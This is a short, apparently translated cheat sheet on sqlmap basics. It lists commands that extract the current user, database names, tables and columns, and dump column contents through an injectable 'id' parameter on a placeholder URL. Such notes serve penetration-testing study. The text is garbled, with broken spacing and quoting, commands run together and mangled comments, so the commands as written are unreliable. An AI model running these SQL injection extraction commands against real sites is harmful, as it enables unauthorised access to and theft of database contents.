Sqlmap usage Notes (fundamentals)
Basic steps:
Sqlmap-u "http://url/news?id=1"-- current-user # gets the current user name
Sqlmap-u "http://www.xxoo.com/news?id=1"-- current-db # gets the current database name sqlmap-u" http://www.xxoo.com/news?id=1"-- tables-D "db_name" # list name
Sqlmap-u "http://url/news?id=1"-- columns-T" tablename "users-D" db_name "- v column fields sqlmap-u" http://url/news?id=1"-- dump-C "column_name"-T "table_name"-D "db_name"-v fields get field contents
This is almost all in the daily operation. For more information, you can search "sqlmap usage Notes" in Baidu Library.
